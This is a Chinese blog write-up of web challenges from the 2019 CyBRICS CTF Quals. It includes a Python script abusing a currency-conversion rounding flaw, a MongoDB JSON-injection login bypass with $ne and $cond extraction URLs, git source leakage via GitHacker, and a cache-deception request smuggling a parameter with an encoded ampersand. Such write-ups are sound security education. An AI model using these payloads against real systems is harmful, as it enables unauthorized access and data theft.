sky's blog

CyBRICS CTF Quals 2019 Web Writeup

字数统计: 1,527阅读时长: 7 min
2019/07/22 Share

前言

周末参加了LCBC主办的2019 CyBRICS CTF Quals,在金砖五国中,获得了top5的成绩,以下是web的题解。

Bitkoff Bank


点一次mine btc,获得0.0000000001 BTC,而购买auto-miner需要0.1 USD。
购买auto-miner后,我们的网页会多出这样一个script,每秒帮我们点击1000次,但实际上并非1秒能获得这么多BTC:

然后获取flag需要1USD,显然即便依靠auto-miner也是遥遥无期的。
通过做题的经验,给了的功能一般不会白给,我们测试一下转换功能,发现不断将BTC转成USD,将USD转成BTC,就会因为汇率问题就会不断加钱,写脚本即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import re
url = 'http://95.179.148.72:8083/index.php'
cookie = {
'name':'yyplsky',
'password':'yyplskycool'
}
def GetUSD():
while True:
try:
r = requests.get(url,cookies=cookie,timeout=3)
res = r.content
res = re.findall(r'<b>([0-9\.]*)</b><br>',res)
return res[0]
except:
pass

def USD_to_BTC(USD):
data = {
'from_currency':'usd',
'to_currency':'btc',
'amount':USD
}
while True:
try:
r = requests.post(url,data=data,cookies=cookie,timeout=3)
break
except:
pass

def GetBTC():
while True:
try:
r = requests.get(url,cookies=cookie,timeout=3)
res = r.content
res = re.findall(r'<b>([0-9\.]*)</b><br>',res)
return res[1]
except:
pass

def BTC_to_USD(BTC):
data = {
'from_currency':'btc',
'to_currency':'usd',
'amount':BTC
}
while True:
try:
r = requests.post(url,data=data,cookies=cookie,timeout=3)
break
except:
pass

for i in range(200):
USD = GetUSD()
print USD
USD_to_BTC(USD)
BTC = GetBTC()
print BTC
BTC_to_USD(BTC)

通过来回转钱,跑差不多十分钟就够$1 USD,可以购买flag了

Caesaref

这题本来设置的难度为hard,但因为出现了非预期,我们发出的请求可以在服务器收到,但回带上admin cookie,所以我们可以直接更改cookie进入admin页面,导致我们可以直接点击show flag获取flag。
修复版本见下面的Fixaref,这题就不再详解。

NopeSQL

扫描发现:

1
http://173.199.118.226/.git/HEAD

进行githacker源码泄露,拿到源码:

1
python GitHacker.py http://173.199.118.226/.git/

简单审视代码,发现是php为后端,mongodb作为数据库。
题目分为两部分,第一部分是需要先成功登入

我们注意到在sql拼接处,为加任何过滤:

1
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';

题目会直接拼接我们传入的username和password。但因为后续有json_decode,所以导致我们并不能使用传统方法进行Bypass:

1
$document = $collection->findOne(json_decode($raw_query));

这里我们的想法本来为:

1
2
username=admin
password[$ne]=1

这样即查找用户名为admin,密码不为1的用户,那么显然管理员密码不可能为1,那么可以成功匹配到管理员用户,但这里由于json_decode,我们这样直接传参不会奏效,同时也不能使用//进行注释闭合。

1
2
3
4
5
6
<?php
error_reporting(1);
$username='admin';
$password[$ne]='1';
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
var_dump(json_decode($raw_query));


但我们可以构造出如下脚本,来生成我们想要的exp:

1
2
3
4
5
<?php
error_reporting(1);
$password = array('$ne' => '1');
$res = array('username' => 'admin', 'password' => $password);
var_dump(json_encode($res));

得到:

1
{"username":"admin","password":{"$ne":"1"}}

所以我们的目标是构造出这样的exp,即可解析出password[$ne]=1。
那么我们在password字段注入即可:

1
aaa", "password": {"$ne": "test"}, "username": "admin

即:

1
2
username = admin
password = aaa", "password": {"$ne": "test"}, "username": "admin

这样可以得到:

1
{"username": "admin", "password": "aaa", "password": {"$ne": "test"}, "username": "admin"}

这样一来,我们即可搜索到满足条件的管理员用户:

1
"password": {"$ne": "test"}, "username": "admin"

登入后,来到第二个挑战:

通过查询资料得知,在mongodb的aggregate中,可以使用$cond进行条件语句:

单个条件可以为:

1
[$cond][if][$eq]

如果要使用两个条件,则并列即可:

1
2
[$cond][if][$eq]
[$cond][if][$eq]


那么我们可以利用:

1
if then else

比如当我们匹配到flags时候,就将其移除:

1
http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$$REMOVE&filter[$cond][else]=$category

发现flags被移除:

在匹配到public时,将其移除:

1
http://173.199.118.226/index.php?filter[$cond][if][$eq][]=public&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$$REMOVE&filter[$cond][else]=$category

发现此时正常:

那么利用条件语句,发现flags时,就输出其title:

1
http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category


从title中我们得知有text,那么读取:

1
http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$text&filter[$cond][else]=$category

即可拿到flag:

1
cybrics{7|-|15 15 4 7E><7 |=|_49}

Fixaref

进入页面后,发现可以ask question,本能测试一下远程请求:

收到后,发现是python requests发包,同时注意到http header:

发现了一个奇怪的header,搜索得知,可能和缓存有关,同时依据之前非预期的题目的flag提示:cache is vulnerabilities。那么判定本题应该是利用cache的问题。
我们测试让题目自己去访问:

1
http://95.179.190.31/index.php/skyiscool.js

发现可以管理员的页面:


那么本能想要拿出flag,测试让题目去请求:

1
http://95.179.190.31/index.php/skyiscool.js?csrf-token=b04d2bc2f3d3654947ba82d59a2b367630743d3447dbc0af46182359f166c4bd&flag=1

但发现我们的flag参数被丢弃:

为了探测他的过滤规则,那么构造如下请求:

1
http://1.1.1.1/?a=1&b=2

发现b参数被丢弃:

那么初步判断校验标准应该是只允许传入1个参数,那么思考如何判断参数个数?
这里猜测可能是利用&,那么我们尝试把&编码:

1
http://1.1.1.1/?a=1%26b=2

发现成功:

那么使用如下exp,让题目请求:

1
http://95.179.190.31/index.php/skyiscool.js?csrf-token=b04d2bc2f3d3654947ba82d59a2b367630743d3447dbc0af46182359f166c4bd%26flag=1

发现此时已经带有flag参数:

访问cache页面,拿到flag:

1
cybrics{Bu9s_C4N_83_uN1N73Nd3D!}

后记

这次2019 CyBRICS CTF Quals的Web方向题目并不困难,相比WCTF LCBC的Web题,还是后者更有趣XD~

1
文章首发于嘶吼 https://www.4hou.com/web/19354.html
点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. Bitkoff Bank
  3. 3. Caesaref
  4. 4. NopeSQL
  5. 5. Fixaref
  6. 6. 后记